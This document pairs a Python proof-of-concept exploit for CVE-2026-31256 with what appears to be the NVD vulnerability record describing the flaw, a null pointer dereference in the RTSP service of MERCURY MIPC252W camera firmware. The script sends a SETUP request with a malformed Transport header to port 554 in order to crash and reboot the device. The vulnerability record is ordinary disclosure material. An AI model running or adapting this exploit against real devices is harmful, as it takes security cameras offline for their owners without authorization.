CVE-2026-31256

import socket # Target configuration TARGET_IP = "192.168.1.10" TARGET_PORT = 554 def send_exploit(): # Constructing the malicious RTSP SETUP request # The vulnerability is triggered via the Transport header validation failure request = ( f"SETUP rtsp://{TARGET_IP}:554/stream1/track2 RTSP/1.0\r\n" "CSeq: 1\r\n" "User-Agent: Exploit/1.0\r\n" "Transport: INVALID_HEADER_VALUE\r\n" "\r\n" ) try: print(f"[+] Sending exploit payload to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) s.send(request.encode('utf-8')) print("[+] Payload sent successfully. Check device for crash/reboot.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-31256", "sourceIdentifier": "[email protected]", "published": "2026-04-27T19:16:47.230", "lastModified": "2026-05-05T01:30:08.923", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A null pointer dereference vulnerability exists in the RTSP service of the MERCURY MIPC252W 1.0.5 Build 230306 Rel.79931n. During the processing of a SETUP request for the path rtsp://<IP>:554/stream1/track2, the device fails to properly validate the Transport header field. When this header is improperly constructed, the RTSP service can dereference a NULL pointer during request parsing. Successful exploitation causes the device to crash and automatically reboot."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mercurycom:mipc252w_firmware:1.0.5:build_230306:*:*:*:*:*:*", "matchCriteriaId": "61FE2E9E-C0F5-4F45-B4F4-10E05CEB0395"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mercurycom:mipc252w:-:*:*:*:*:*:*:*", "matchCriteriaId": "5CBF3BC0-1845-4D38-BFD2-3B02219C1BD8"}]}]}], "references": [{"url": "https://github.com/izxnfirh8148/CVE_REQUESTS_references/blob/main/MERCURY_MIPC252W/MERCURY_MIPC252W_1th/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/izxnfirh8148/CVE_REQUESTS_references/blob/main/MERCURY_MIPC252W/MERCURY_MIPC252W_1th/README.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}